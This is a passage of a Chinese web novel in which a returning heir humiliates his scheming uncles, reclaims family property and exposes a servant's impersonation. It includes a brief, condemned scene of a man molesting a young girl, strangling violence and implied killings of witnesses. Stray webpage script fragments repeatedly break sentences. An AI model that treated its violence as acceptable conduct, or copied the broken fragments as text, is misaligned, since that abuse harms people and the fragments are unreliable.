“带着夫人逛这种地方,姐妹们还是第一次见呢!”几人眼含秋波,向陈衡调侃,“公子真是好福气,夫人也甚是大方。” 秦娘谦让道:“误会了,我可当不得这一声夫人。” 众人羡慕:“不是夫人?难道是公子的侍女?做公子侍女便可穿戴的如此华贵,公子什么时候把我们姐妹也收了?” 陈衡稳坐,倒是对这种地方一点也不陌生。 “我这夫人头一回来这地方,害羞了。”他笑了笑,目光朝他三叔那儿看去。 沈言礼此刻竟然在调戏一个八九岁的卖花女童。 () { $(''.inform'').remove(); $(''#content'').append('' 那女童被他上下其手,躲避不及,眼里含着泪水,朝周围人投去求助的目光。 可这仿佛是常态,周围并无人伸出援手。 “真是禽兽!”秦娘想起身阻止,却被陈衡一把按住。 他点了一壶上好的酒,吩咐姑娘给沈言礼送去。 沈言礼见有人送酒,便停下手,起身向这边回了一礼。 陈衡给那卖花的女童使了个眼色,女童立刻逃之夭夭。 沈言礼立刻明白了陈衡送酒的意图,“啪”的一声将酒杯重重放下。 “这位兄台,台上正争奇斗艳,何必留恋台下没长齐的花骨朵?”陈衡目不斜视看着台上,仿佛对周围一切视若无物。 沈言礼上下打量了他一番。 “这位贤弟是第一次来江城?”他问。 他只觉得这后生看上去有些合他的眼缘,仿佛在哪儿见过,又想不起来。 陈衡摇头:“幼时曾在此暂住过一段时日。” “原来是故人!”他笑道,很快将目光不怀好意的转到秦娘身上。 刚才姑娘们的问话他也听到了,此刻只觉得戴着面巾的秦娘竟比这些姑娘们更加风情万种,特别是那双露在外边的眼睛,眼角微微上挑,美目流转。 “不如我们打个赌?”他阴恻恻道。 陈衡从台上收回目光,幽幽向他看去,好像对他这个赌颇有兴趣。 见人上钩,沈言礼笑道:“你猜这台上今日谁会夺魁?” 沈言礼指指台子两侧挂的牌子,其中一边刻着清吟的名字,另一边则刻着“其他”。 赌桌早已摆好,不少人纷纷下了押注,大多都选清吟夺魁。 “这个赌,胜算不小。”他盯着陈衡,“贤弟不敢?” 只赌清吟或是其他人夺魁,胜负率的确一半一半。 “不知兄台准备拿什么做赌注?”陈衡问道。 他三叔明显是缺银子,若是用银子赌,难保他不会赖账。 沈言礼胸有成竹,从怀中掏出一叠文书:“银子嘛,我暂时缺,不过这田产铺子,可任贤弟挑选。” 陈衡眼前一亮:“如此,我应下这个赌约,兄台既然缺银子,可说个数。” “我不要银子。”沈言礼的目光在秦娘身上转了又转,“我若赢了,你身边的人随我挑走一个!” 秦娘早看出他不怀好意,小声提醒陈衡:“公子,清吟会赢!” 谁知陈衡却不紧不慢道:“我赌清吟不会夺魁。” 此言一出,周围众人纷纷瞧了过来。 秦娘急了,她也知道清吟一定会夺魁:“公子,你可想清楚!” “放心,我不会把你输出去。”陈衡道。 沈言礼大喜,毕竟这城中无人比清吟更美:“哈哈,贤弟果然不同凡响!” 为防陈衡反悔,他更是叫来赌桌上的人,给两人白纸黑字写下了赌约! 清吟此时已出过场了,接下来出场的人在她清丽外表的衬托下,更是显得庸脂俗粉。 此刻陈衡突然吩咐:“该阿瑶上台了。” 秦娘大惊:“你是让我去参加比赛?” “正是,阿瑶如此美貌,还怕赢不过那清吟?”他道。 “公子说笑了!”她的脸又隐隐发烫,“我一介妇人,哪能和清吟姑娘相比?” 围坐在身边的一众姑娘听了,都对藏在面巾下的那张脸好奇起来。 她们不由分说推了秦娘上台。 “这江城还有人敢说自己比清吟更美貌?”众人讥笑。 9. 第九章 “就她?”台下众人伸着脖子,将秦娘上下打量个遍。 “把脸遮这么严实,不会是长得太丑羞于见人吧!哈哈……”有人发出哄笑。 正端坐在台上的清吟,也好奇的看着她。 清吟一张瓜子脸,肤若凝脂,眉如柳梢,杏眼圆睁,薄唇勾出娇柔的笑,媚中带着一丝清纯。 只是她常年在这种地方讨生活,通身气质已接近尘埃。 “快摘了啊!” “让我们看看到底何等美人,敢来砸清吟姑娘的场子!” 清吟的一众拥护者起哄,甚至有人迫不及待想跳上台扯下那块帕子。 秦娘站在台上,看着陈衡在下边一小口一小口地饮着酒,一副胸有成竹的样子。 她心一横,伸手去掉了那块手帕。 原来嘈杂的厅堂,突然安静了下来。 台上女子的美不同于清吟,那张脸养了一段时日后,有了鲜活的光彩,若银盘皎月,又如美玉荧光。 她微垂下眼帘,睫毛将点漆般的眼珠遮去了大半,依旧有神采流转出来。 红唇轻启,自是一副端庄雍容样子,令人不敢逼视。 江城人哪见过如此脱俗的人! “我押她赢!” “我也换!” 一时之间,赌桌被围得水泄不通。 输赢已定。 沈言礼看着秦娘,眼睛像钉在了她身上一样。 见秦娘又重新将手帕戴回脸上,才堪堪回头,目光里流露出嫉恨。 陈衡慢条斯理的走到他面前,从他桌上那几张券书里,挑出了一份,正是沈家粮铺。 沈言礼身后的家丁忙提醒:“三老爷!这个不行!” 沈家如今做的最大的,便是这粮食买卖。 若被他人吞了这部分产业,恐会伤了沈家根本。 沈言礼伸手去抢:“错了错了!这份不算!” 陈衡一闪身,迅速把那张纸折起来放入怀中。 他朝沈言礼拱手作揖:“三叔,别来无恙。” 沈言礼猛地抬头。 “是、是你?”他颤抖着手,指向陈衡,“我早该想起来!” 陈衡缓缓的扯出一抹笑。 这笑容落在沈言礼的眼底,却如鬼魅从地狱爬上来,向他索命。 只听“哇”的一声,他像疯了一样逃了出去,碰倒了几张桌子,留下一片狼藉。 “夫人,该走了。”陈衡收起笑容,眼里无一丝波动,“也是时候回去了。” 初五。 昨夜下了雨,第二日一大早却艳阳高照,将湿气一扫而空。 今日是回沈府的日子。 客栈门口两辆马车装满了东西,后面跟着两排婢女奴仆,浩浩荡荡的朝沈家出发,一路声势引得路人频频驻足。 那日沈言礼回家自是向众人诉说了一切,沈家人知道大郎将要回府,已乱了阵脚。 二房三房此刻终于放下了互相之间的隔阂,决定一致对付这个大侄子。 沈家大门大开。 一众人站在门口殷切地伸长脖子,向路口张望。 这是摆足了姿态,让外人以为他们多希望沈家这位多年在外的大房公子归家。 等马车一停到门口,带头的两位爷先哭了起来。 “大侄儿,你可回来了!” 出声的是沈言庆,他泪水涟涟,颤巍巍的手伸向车帘,作势要去扶陈衡下来。 没想到先出来的是秦娘。 他立刻缩回手,拿袖子擦了擦眼泪,转悲为严,板着个脸问:“你是何人?我侄儿呢?” 后边马车里传来一道声音:“阿瑶是我娘子,二叔休对她无礼!” “你……你娶妻了?” 虽已听沈言礼提起过,但未经家中长辈同意,私下里娶了妻,这还是让沈家众人挂不住面子。 陈衡已从马车里出来,他长身玉立,一身锦衣华冠朝履,风姿冰冷,只往人群微微瞥了一眼,竟令众人呼吸一滞,大气也不敢喘一口。 几个女眷已是埋头红了脸。 “侄儿如此仪表不凡,真不愧是在京城待久了的!”沈言庆忙换上一副笑容,“看样子这些年你在外祖家过的甚好,你祖母也可放心了!” “是啊,快,二哥快别说了,先让大侄儿进屋!”沈言礼也十分激动,只是他身子却在后退,硬是不敢往前凑,“你祖母盼你盼了好久,快先去拜见她老人家!” 一众人拥着两人进了门,绕过前院影壁,直接向祠堂方向走去。 幼时的记忆已在陈衡脑海中模糊,他隐约觉得这不是去祖母房里的路。 “跪下!” 人刚到祠堂,还未进院门,就听一道严厉苍老的声音响起。 众人吓了一跳。 只见一个精瘦的老妇人坐在一旁雕花木椅上,头发已半白,眼神却犀利,正看着来人。 “娘,您这是作甚!”沈言礼先一步跨了过去,急匆匆到老妇人身旁,“孩子刚回来,您就让他来拜祠堂。” 众人纷纷说是,表情却是一副看好戏的样子。 “祖母。”陈衡进了院子,朝老妇人执手作礼。 秦娘跟着他同作,也喊了声“祖母”。 原来沈家还有个老辈,倒不曾听他提起,估摸着也不是什么太重要的人物。 “你还知道回来?”沈老夫人把拐杖杵着地敲的咣咣响,“当初一声也不告知,竟半夜跟你娘偷偷溜走,你对得起你去世的父亲?对得起我沈家列祖列宗?” 半夜偷溜走? 陈衡冷冷扯了下嘴角,原来当初他们就是这样跟祖母说的。 真是颠倒黑白、无耻至极! 陈衡朝祠堂方向弯腰作揖,回道:“小辈见礼。” “哼,你该向这些牌位跪下!向你爹、你祖父赔罪!”沈老夫人冷哼一声。 岂料说话间,陈衡已直起了身子:“容孙儿回禀,这些年我早已改了姓名,现如今孙儿姓陈名衡,冠礼时当朝太傅亲自赐的字,曰曲直。” “你、你竟跟了你母族的姓氏!”沈老夫人气的双手直颤,“好啊,你真是出息了!” “太傅?京中果然不一样,他陈氏都能让太傅来主持冠礼?”众人窃窃私语。 “如今我已娶妻,成家立业,所有一切都是我自己挣来的,又和沈家有何关系?”他坦坦荡荡,周身一股敞亮之气,“你们沈家当不起我一介外人的跪拜之礼。” 沈老夫人颤巍巍起身,突然猛地扑倒在祠堂门槛上,大哭道:“言律我儿,你睁开眼瞧瞧你唯一的骨血,叫那陈氏祸害成什么样了!娘对不起你!实在对不起你!” 二房三房众人纷纷去扶老夫人。 秦娘见状也作势去扶。 陈衡却无动于衷:“我改了姓,不是正合你们沈家的意?” “你什么意思!”沈老夫人转头盯着他,眼睛怒红。 秦娘扶着她凑到她耳边: () { $(''.inform'').remove(); $(''#content'').append('' “老太太,您这孙儿可不一定是陈氏害的,不如您问问您两个儿子儿媳?” 听了此话,三房姜氏扶着老太太立刻撒了手。 “问我们什么?”她不乐意道,“天地良心,当初你娘带着你要走,还是我给你们打的掩护。” 二房吴氏见状也跟着道:“若不是我和妹妹拖着老太太,又是送点心又是讲笑话哄老太太开心,你娘还不一定能走得了!” 沈言庆也道:“那马车还是我找来的!” “车夫的钱也是我付的!”沈言礼不甘落后。 “你们……”沈老夫人翻了个白眼,差点气晕过去。 “是啊,老太太您瞧,他们真是‘好心’呐,这么急着让您孙儿走。”秦娘在旁煽风点火。 陈衡不紧不慢道:“当初你们沈家,趁我父亲去世,将他挣下的田产庄子归入府中,连我娘的嫁妆都不放过。” 这话如平地一声惊雷,震的所有人噤了声。 “二叔三叔,你们当初是怎么说的?”他抬眼看向两人,“为免夜长梦多?让我们快滚?可怜我娘一介妇人,竟被深夜赶出家门!” 沈言庆和沈言礼听得一阵冷汗。 没想到当初两人商量之语竟然被还是小童的陈衡听到! 更没想到年幼的他还记得! 沈言礼哭丧着脸:“二哥,我早说了,他回来绝不是什么好事!” 沈老夫人看了看两个儿子的神情,明白了些许。 她平复了情绪,被众人搀扶着坐回了位置上,问道:“说清楚,到底是怎么回事!” 沈言庆稳了稳身形,上前回道:“娘,当初我这大侄儿还小,一定是记忆出了差错,记错了。” “记错了?”秦娘提醒道,“记没记错不要紧,拿账本算算,看看田产,看看嫁妆这些年落哪里了,不就都明白了?” 沈家二房吴氏冷笑:“我们沈家的事,岂容你这个嫁进来的新妇插嘴!” 陈衡一把拉过秦娘:“她是我陈氏夫人,岂容你一个外人道!” 吴氏只觉自己脖颈一冷,忍不住往沈言庆身后缩了缩。 沈言庆已觉此次逃不过去,他收回了那副假惺惺的样子,直问:“说吧,你此次回来是何目的?” 陈衡回道:“田产和我母亲的嫁妆,我要拿走。沈家的铺子留下,是我的我要,不是我的我一分也不带走!” 除了粮铺,沈家还剩下胭脂铺、成衣铺、香烛铺、茶馆等,都是些蝇头小利,不怎么赚钱的生意。 沈老夫人见事已至此,无力的摇了摇头,眼睛一闭,道:“唉,我老婆子老了,你们的事我管不了了!你想认沈家就认,不想认也没人逼你……儿孙自有儿孙福,我、我不管了!” 这老妇人是个糊涂的,秦娘暗暗想,若真是个精明的,也不会让她两个儿子瞒了这么长时间。 临到事上,又撂挑子不干了。 说不准当初就是她睁一只眼闭一只眼,默许了两儿子欺负孤儿寡母,吞了陈氏的嫁妆。 “不如报官?”秦娘道,“私吞妇人嫁妆,那可是要坐牢的!” “不可!”众人齐呼。 沈言礼更是慌张道:“不就是嫁妆吗?我那粮铺那日不是输给你了?就当折了嫁妆!” 姜氏忙捂了他的嘴:“什么嫁妆?我们可没见过!” “粮铺?”沈言庆大惊,“什么粮铺?蠢货!你竟然把粮铺给他了?” 沈家顿时乱作一团。 10. 第十章 得知事情经过,沈老夫人终于被气晕了过去。 众人手忙脚乱的抬她回屋,陈衡则带着秦娘和下人们,来到了东厢一处院落。 这院落很是清静,门口牌匾上两个苍劲有力的大字:闲居。 想必这便是当年沈家大房的住所。 如今里边摆了些孩童用具,两个小丫鬟正在院里洒扫。 陈衡令下人们把东西搬进来,将原屋的一应家具全抬了出来。 小丫鬟们见来人气度不凡,更是不敢说话,站在一旁望着。 “如今这屋里住的谁?”小厮上前问道。 其中一个小丫鬟听闻问话,眼睛都长到额头上了,她神气道:“是我们易哥儿,沈家二郎。” “那就快去告诉你们主人,这间屋子的正主回来了!让他赶紧收拾东西滚!”陈衡的小厮毫不客气,“什么东西,也敢占了我们公子的窝!” 这话逗得下人们一笑。 两个小丫头临走放了狠话:“你们给我等着!” 她们易哥儿可是沈家下一代的主人。 “住手!你们都住手!”一个十来岁的少年冲了进来。 秦娘定睛一看,之前在人群中见过,是那个一直满脸挂着不屑的孩子。 他身后匆匆赶来的,还有三房的正室夫人姜氏,以及这孩子的亲生母亲。 “这是做什么?”姜氏见那家具都仍在院外,一脸怒容,“不是安排的有住处吗?你们何必一回来就欺压他们母子!” 秦娘道:“我们住我们自己的地方,天经地义!你鸠占鹊巢这么多年了,也是时候该腾地方了,这风水宝地让你家孩儿住这么久,够便宜你们了!” 且不说这东厢自古以来是长子居所,当年陈衡父亲也是长住在此中了科举,所以一家人自然把这地方给了他家最有希望的儿子住。 跟在姜氏身后的妾室哭哭啼啼,抓住姜氏的袖子,向她投去求助的目光。 姜氏心烦意乱:“哭哭哭,整日就知道哭,收起你那副贱样子,我又不吃这一套!” 她爹是本地知县,平日里她骄纵惯了,哪受过这种气。 “我们哥儿在这儿住好好的,你们不知会主人一声,说搬就搬?”她道,“刚才不是还说自己是外人?这会儿怎么又充起沈家人了!” 陈衡朝小厮递了个眼神,小厮立刻拿出一个包袱,将里边的一块木牌取了出来,“啪”的一声放在了门口桌子上。 “这是……”姜氏黑了脸,只见那桌上摆着一张牌位,上边刻的正是沈言律。 “三叔母请看。”陈衡拉着姜氏,要姜氏给他爹行礼,“如今我爹已归位,想必他在天有灵定是十分高兴,今日能回来他熟悉的地方。请三叔母和二弟成全已逝之人的思念,另择他所。” 不等姜氏反应,那小妾突然蹬蹬跑上前! “谁也别想挡我儿子的路,就算是……已去的大爷也不行!” 她要砸牌位! 秦娘心提到了嗓子眼! “啪!”一道响亮的耳光声响起。 众人只觉得如同一阵风刮过似的,那小妾竟然被直接掀翻在地,捂着脸抽搐起来。 “呜呜……你……”小妾痛的张不开嘴,痛苦的哀嚎也变作呜咽。 “我从不打女子。”只见陈衡慢条斯理的拿起包袱布,擦了擦手,“你,害我破戒了。” 他缓缓抬眼,深黑的眼眸像是在看一件死物,毫无情绪。 “娘!”沈易见他亲娘挨打,双目充血,咆哮着举起拳头跑上前,却突然调转方向,朝秦娘袭来。 秦娘没料到这变化,猛地退后几步,一下子跌坐在地上! 然而下一刻,她就看到沈易被陈衡轻而易举的卡住脖子,高高举了起来。 他双手双脚不停挣扎着,喉咙深处发出“咔咔”声响。 “别,你放开他!我错了!大郎,你放了他吧!”小妾顾不得脸上火辣辣的疼痛,哭着爬过来求饶。 陈衡将目光转向目瞪口呆的姜氏,笑道:“三叔母,你说,那些女人给三叔生了这么多儿子,我替你除掉一个,如何?” 姜氏大骇。 她只觉得面前的人是地狱来的阎罗,轻轻松松便看破她内心深处最黑暗的恐惧。 她恨极了这些爬床的女人,分走了本该属于她的每个夜晚,还生下一个个儿子,占用了她未来长子嫡子的位置! “不,不要!”小妾看着无动于衷的姜氏,心中最后一点希望破灭,她朝面前的人拼命磕头,不顾自己额头流血破相,会被夫君厌弃。 “放、放了他!”姜氏压着心底的恨,终于逼自己说出了这句话。 陈衡瞬间将手松开,沈易早已没了劲,像破布娃娃一样掉到地上。 这么大动静,他那个三叔却躲在女人后边,不敢前来阻止。 如此心虚,多年前父亲的事情,果然和他有关系。 这一闹,姜氏带着人灰溜溜的走了。 秦娘被婢女们扶了起来,疼的走路一瘸一拐。 此刻,她有些后悔答应这桩买卖了。 “阿瑶如何?” 陈衡亲自搬了把椅子过来,让她坐下。 秦娘呲牙咧嘴道:“人都走了,还叫阿瑶呢!人前装,人后也装,你这活儿真不容易,我差点没命了!” “一个小儿而已,能耐你何?”他笑了笑,似一股春风拂面,“不如今夜,我陪你去凑个热闹?” 这笑容完全不似之前那般玩味,竟显得十分真诚。 秦娘也渐渐分不清,到底哪一个才是真的他。 她摇了摇头:“算了,你去了,若叫这府里人瞧见,我的身份不就拆穿了。” —————————————————————————————————————————————————————— 华灯初上。 沈宅西边的小角落渐渐热闹起来。 府里下人办喜事,又只是抬个妾进门,主人家并未太过注意。 秦娘换了身婢女穿的衣裳,向陈衡告了假,趁着夜色出了门。 她循着那热闹处,七拐八拐的终于到了地方。 这是宅子里最西边的一处院落,小的只有一间房,平日里用来堆些杂物。 院子连通后街,下人们来去办事十分方便。 这几日沈鱼已将此地休整了一番,此刻里边张灯结彩,院子虽小,却已摆了三四张桌子。 秦馠已进了门,正坐在屋里,打量着一切。 瞧这屋里摆设,只有临时的一张坐榻供她坐着,不远处触手可及的窗纸有几个破洞,那角落里蜘蛛正在结网。 院外的桌子坐满了来喝喜酒的人。 他们都身着粗布衣裳,大声说着笑着,满场无一位贵人。 秦馠没由来的一阵 () { $(''.inform'').remove(); $(''#content'').append('' 心慌。 她扯了头冠上碍事的珠帘,看到她的沈郎正在和一人说话。 是秦娘! 突如其来的兴奋,让她暂时忘却了种种疑惑之处。 她信步走了出来。 “娘!”沈鱼喝醉了酒,满脸通红,正在说着胡话,“既然馠儿今日成了我的小妾,我也称呼您一声娘,娘的礼金带了吗?” “滚!谁是你娘!”秦娘对他向来没有好脸色。 秦馠狠狠瞪了他一眼,将他揪了过去:“都什么时候了,还想着钱!” “没钱我怎么养你?”沈鱼满身酒气,“嫁妆呢,娘,你给你闺女的嫁妆呢?” “还想要嫁妆。”秦娘冷冷看着秦馠道,“沈家大郎,眼里只有钱?” 秦馠面色一沉:“我倒忘了,你今日是来给沈郎道歉的!” “道歉?道什么歉?”众人起哄。 秦馠得意扬扬:“我虽是从沈府后门进来的,今后也算是沈府的人了,你们说,是不是?” “那是自然!” “既然跟了我们家鱼儿,当然算是沈府的人了!” 众人纷纷赞同。 “这位妇人,竟然多次诬陷沈郎,说他是个骗子!是冒充的沈家人!”她向众人说明,“今日她亲眼所见,我们就在沈府,大家说她该不该道歉?” “该!该!”大家齐声喊。 秦馠步步紧逼:“跪下!给沈郎磕头道歉!” 秦娘的目光静静扫向众人。 “不知众位可知道,今日府中发生了什么?”她问道。 院子里安静了片刻。 有人答道:“还能有什么事,今日最大的事莫过于,我们大郎回来了!还要、还要争家产呢!” 秦娘满意的点点头,看向秦馠:“听到了吗?沈家大郎今日回来了!” 秦馠愣了愣:“自然是回来了,还带着我一起。” 她瞥了她的沈郎一眼,心中疑惑道,他竟没告知自己他要争家产? “你还觉得你身边这位,是沈家大郎?”秦娘的声音不大不小,却令在场的所有人都听清楚了。 “她说啥?”有人吃惊。 “她说,这沈鱼是沈家大郎?” “笑话!” 众人哄笑。 沈鱼也有恃无恐,跟着大家一起笑。 秦馠的目光渐渐转为恐惧。 她死死拽住沈鱼的袖子,问:“什么意思?他们为何发笑?” 沈鱼一把抓过她的手,当着众人面把她往怀里拥,得意笑道:“娘子,你管他们,从今日起你只管你的郎君我就行了!我让你入了沈府,得偿所愿,怎么,你还不满意?” 秦馠心中的种种疑惑,在大家的哄笑声中,渐渐明朗。 她颤声问着:“沈家大郎,是谁?是你对不对?” “我当然是!”沈鱼哈哈大笑,“我们沈家,就我一个独子,我不是大郎谁还能是?” “轰”的一下,秦馠的脑袋一片空白。 这沈府这么大,怎么可能只有一个独子! 她眼含屈辱的泪水,望着秦娘:“你早就知道是不是?你故意来看我的笑话?” 秦娘平静的看着她:“我早告诉你了,可……你不信。” “呵呵。”她嗤笑,“你告诉我了?你哪次不是极尽讽刺,让我误以为你在妒忌,你真是……好手段啊!” 11. 第十一章 秦馠如今已跟了沈鱼,只得嫁鸡随鸡,嫁狗随狗。 想起上一世的遗憾,她无法说服自己离开。 不是沈家大郎又怎样?眼前这个人还不是为了自己,落了个客死他乡的下场? 还有科举! 她眼前一亮。 将来的沈鱼过了县试府试院试,要进京赶考,这回她一定要陪他一起,不再叫他风餐露宿,染上疾病不治而亡! 想到此,秦馠擦了眼泪,挺起胸膛。 “我已是沈郎的人了,不管之前如何误会他是大户公子,此后我也绝不会后悔!”她坚决道。 “这就对了嘛!”人群起哄。 秦娘也未曾料到她如此执迷不悟。 可自己也已在心底发过誓,此生不再管束她、干涉她。 她道:“你……好自为之。” 越是如此事不关己的态度,越是让秦馠气恼。 “不用你在这儿暗戳戳的说风凉话!”她眼里满是讥讽,“你这种无情的人,哪里懂得我和沈郎能在一起有多不容易?那么多年了,何曾有一个男人入得了你的眼?” 无情?秦娘心里暗自发笑,若不是为儿女操劳,她岂会耽误一辈子! 沈鱼大笑:“娘子错了,是男人看不上她吧!” 说罢他竟细细打量起秦娘。 这昏暗的灯笼,把她的小脸衬得细皮嫩肉的,乍一看倒像个未出阁姑娘家。 “这岳母大人,长得还挺标致的!”他借着酒劲发起疯来,“要不你陪馠儿一起嫁过来?” “啪!”秦娘狠狠扇了他一耳光。 “管好你的情郎!”她怒道,“你说的不错,找了这么个泼皮流氓,你和他可真不容易。还不如我一辈子一个人来的痛快!” 秦馠见沈鱼被打,心疼不已,发狠了起来:“你敢打他?泼妇!你个泼妇!活该你守一辈子寡!” 酒席出现这样的变故,院里霎那间静了下来。 沈鱼是家生奴,在场家丁都是看着他长大的,自是站在他那一边,各个看着秦娘,神色各异。 “我为何守寡,你心里不是再清楚不过?”她问道,目光扫过在场所有人,“我年方十六,正是要嫁人的年纪,捡了你回来把你养大,再未嫁人。我从未求你回报,一切皆是自愿,你却识人不清和他人私定终身,如今却将种种不幸怪罪于我?” 秦馠哑口无言。 秦娘盯着她,一字一字道:“白、眼、狼!” “你!” 秦馠被这三个字一激,直直扑了过来,一双染了花汁的长指甲朝秦娘袭来,不料却被秦娘一把抓住手腕,狠狠甩在一旁。 她清醒过来。 面前的这个妇人,好像跟之前不一样了。 还未来得及细想,一个不速之客突然到访。 “阿瑶,你在这儿呢?叫为夫好找!” 只见陈衡从拐角处缓缓走了进来,他手持一把折扇,扇上金粉被他摇的一晃一晃,在黑暗中星星点点。 “我正逛园子,来凑热闹也不带上我。”他口气颇为埋怨。 不是寡妇吗? 众人盯着秦娘,原来这妇人有夫君阿! 更有几个护院已经认出,此人正是今日大闹沈家的沈大公子! 秦馠盯着两人,眼珠子都快掉出来了。 一个锦衣华带,眉眼间说不出的高贵风流,一个穿着粗布丫鬟衣裳,头上还包了块蓝花头巾……这两人怎么看也不像是夫妇! “这位公子认错人了?”她小心翼翼的问。 然而陈衡并未看她,直把在场的所有人扫了一遍。 他板起脸:“怎么,夫人换了身衣裳,你们就认不出她来了?” 几个护院互相对视一眼,齐齐跪地:“小的们有眼无珠!大公子恕罪!” 大公子?其他人早听说今日之事,见护院认主,纷纷行礼。 “这黑灯瞎火的,着实看不清楚!大公子恕罪!” 秦馠目瞪口呆。 原来这就是沈家大郎! 她早该想到! 沈家大郎平日做派,怎可能常在街头厮混,流连烟花柳巷,喝酒听曲,无所事事! 望着陈衡那华贵不可接近的模样,她突然十分后悔! 沈鱼也从酒醉中清醒过来。 他今日只顾忙着喜事,沈家大郎归家这么重要的事,竟然没人告诉他! “短短几日,你就成亲了?”秦馠不敢置信。 “我和夫人失散多年。”陈衡摆出一副深情,含情脉脉的看着秦娘,“这几年我一直在寻她,前几日机缘巧合终于找到了她,重拾旧爱。” 秦馠自然不信他这番鬼话,她和秦娘一起生活了一辈子,秦娘的事她再清楚不过。 她看着秦娘,满脸憎恶的笑道:“我未曾料到,你为了羞辱我,竟攀附上了沈家真正的大郎君!为了在我成亲这一天让我颜面扫地,你究竟做了什么?卖身给他?求他帮你?” “啪!”秦娘忍不住扇了她一巴掌,堵住了她的嘴。 “你打我?”秦馠此刻委屈的像个第一次被娘打的孩子。 秦娘想起以前她犯错时,自己永远都是谆谆教导,从未动过手。 可今日听她说的这番话,却令秦娘愤慨,宁愿自己从来都没有遇到她! 她道:“如今你已离了我、弃了家,我还轮不到你拿这些污言秽语来编排!” 陈衡在一旁拍手叫好:“夫人教训的好!骂我娘子就是骂我,这些下人一个个的都不把我这个大公子放在眼里,该死。” 秦馠捂着脸,回过头拉过她那同样脸上一片红印的郎君。 “我被欺负了!”她恨恨道,“沈郎!你就看着我被她打?” 她欲推她男人上前,可沈鱼却往后退去。 他冒充沈家大郎许久,从未想过有一天这身份真正的主人会出现,就这样站在他面前。 他心虚了。 陈衡适时开口:“我听说,有人敢冒充我行骗?” “误会,都是误会。”沈鱼浑身哆嗦起来,话也说不利索,“都是她!这女子错将我认成您,妄图攀附富贵!” 他将秦馠推了出去。 秦馠简直不敢置信,眼泪簌簌往下落。 “她是错认了,你为何不澄清?”陈衡抬起眼帘,终于拿正眼看向沈鱼,“你是想将错就错,好占他人便宜?” “小的不敢!”沈鱼扑通跪下,“小的是家生奴,小的姓名本就与公子同音,是以别人认错也是常有的!” “哦?你叫什么?”陈衡不经意的扇了下扇子。 “小的父亲原是宅里管家,沈姓是当初老太爷赐姓,我们家奴本就下贱,起名也是随便叫的……小的沈鱼,鱼虾的鱼……” 陈衡唰的合上扇子,扇骨狠狠砸在沈鱼头上。 他环顾四周,冷冷问道:“竟不知与主人避讳!府里就无人问罪?” 下人们俯首瑟 () { $(''.inform'').remove(); $(''#content'').append('' 瑟发抖。 看来这名字,倒是有人故意放过,用来恶心大房的。 “既然如此,报官吧!”他道。 “公子不可!”有几位老人劝道,“我们都是大字不识一个的下人,当年他父母也没有想那么多啊!” “我们起名都是阿猫阿狗的叫着,属实不懂怎么就和公子的名儿撞上了!” 陈衡瞧着这几个老糊涂:“名字撞上是小事,澄清了即可,可若有人天天拿我的名号在外招摇撞骗,岂不毁我名誉?报官,必须报官!” 说着,他便吩咐手下去衙门。 秦娘发现,秦馠此刻正冷眼瞧着沈鱼,并未同之前一样百般维护。 果然,沈鱼揪住秦馠的衣领:“是她!她让我冒充的!” 秦馠眼中闪过一丝绝望。 不过她很快将那表情收了回去,换上一副低眉顺眼的委屈模样,抽噎起来。 “郎君,我愿代你认罪,替你去那大牢走一遭。” 此话一出,众人纷纷摇头。 这沈鱼也太不像话,做了错事不敢承认,还让自己小妾替他背上罪名。 沈鱼听众人议论,慌了起来。 他解释道:“不,不是的,若不是这女子喜欢荣华富贵,我……我也不至于在她面前冒充大公子!” 陈衡摇了摇头。 他早已派人打听,这厮打着自己的名号,专骗涉世未深的姑娘。 恐怕除了秦馠,他还与其他姑娘纠缠不清。 “大公子信我!我也是为情所困……” 话音未落,后门突然被人踹开。 两队衙役冲了进来,迅速包围了小院。 秦娘看向陈衡,这才刚吩咐了报官,怎么现在就来人了。 陈衡摇头,表明他也不知道。 火把的光将整个院子照亮,照的大家人心惶惶。 “谁是沈鱼?”捕头高喊。 众人正在呆滞中,却见秦馠回过神来,忙指了指地上跪着的人。 沈鱼的喜服衣衫不整,整个人歪倒在地上,丝毫没了新郎的样子。 眼见衙役都冲自己来,他狠狠朝秦馠啐了一口。 “贱人!扫把星!我就不该娶你进门!” “闭嘴!”捕头吩咐手下带人,“敢私卖朝廷的地,带走!” “私卖朝廷的地?”众人窃窃私语,“原来不是因为冒充大公子被抓!他也忒胆大了!” “卖地?”沈鱼猛地反应过来,拽着秦馠的衣角不松手,“是她!地是她托我卖的!大人,我真不知道那是朝廷的地,若是知道,我哪敢卖!” 秦馠百口莫辩。 她一瞬间恍然大悟,难怪那日她轻易从家里拿走了那张地契。 “你早知道那块地卖不了,是不是?”她怨恨的盯着秦娘。 只见秦娘轻轻笑着,嘴角写满了讽刺。 “我当日已告知你,那块地不能卖,可你不信。”她叹了口气,“我的话,你何时信过。” 她明白,两人隔阂已深。 “啊啊——”秦馠突然发狂,张牙舞爪的叫着。 那整齐的发髻已经散乱,身上的红色外服在挣扎中半挂在身上。 这院子,这一切,哪还有一点喜庆的样子。 冷风阵阵,吹的人们齐齐缩了缩脖子。 捕头大手一挥:“带走!统统带走!” 院里灯笼已毁,桌子上的酒菜散落一地,一场宴席已散。 12. 第十二章 翌日。 秦娘起了个大早。 她原本要睡在侧房,和丫鬟们挤在一起。 可偏陈衡怕露了馅,专门在卧室外室摆了一张睡榻,让她睡在那儿。 睡榻上铺了厚厚的褥子,秦娘躺上只觉得浑身哪儿都不舒服,起来更是全身疼,还不如老家那张土床。 她顶个黑眼圈,发现里屋早已没人了。 “迎春。”秦娘叫来陈衡给她的小侍女,“你家主人一大早去哪儿了?” 迎春侍候她更衣洗漱,弄得她十分不自在。 见迎春端来盆水给她洗脸,她忙接过铜盆。 “公子把昨晚上的人都处理了。” “咣当”,秦娘手一抖,手上刚接过的铜盆掉到地上,水洒了一地。 “处理?”她声音颤了颤,“什么意思?” 迎春仿佛见怪不怪,做了个杀头的手势。 秦娘背后一凉,顿时想起昨天晚上。 宴席散了后,回来的路上她曾问陈衡,自己的身份将要暴露,会不会被人拿去做了文章。 当时陈衡神秘的笑了笑,问秦娘有没有听过一句话,叫“有钱能使鬼推磨”。 秦娘还以为,他要拿钱堵大家的嘴。 她万万没想到是这样的方法。 迎春拿角落里的扫帚往外扫水,边扫还边安慰秦娘:“夫人放心,我们公子杀伐果断,利落的很,这事保准没人知道。” 他莫不是个杀人放火的江洋大盗? 秦娘更后悔了,她就是吃了没钱的亏,见到那些个金子就挪不动眼。 看来她要赶快帮陈衡了结这件事了。 想到此,她也不再推辞,任由迎春将自己梳妆打扮一番。 今天就要去会会各位女眷。 大早上的,乌云蔽日,大风吹的呼呼作响。 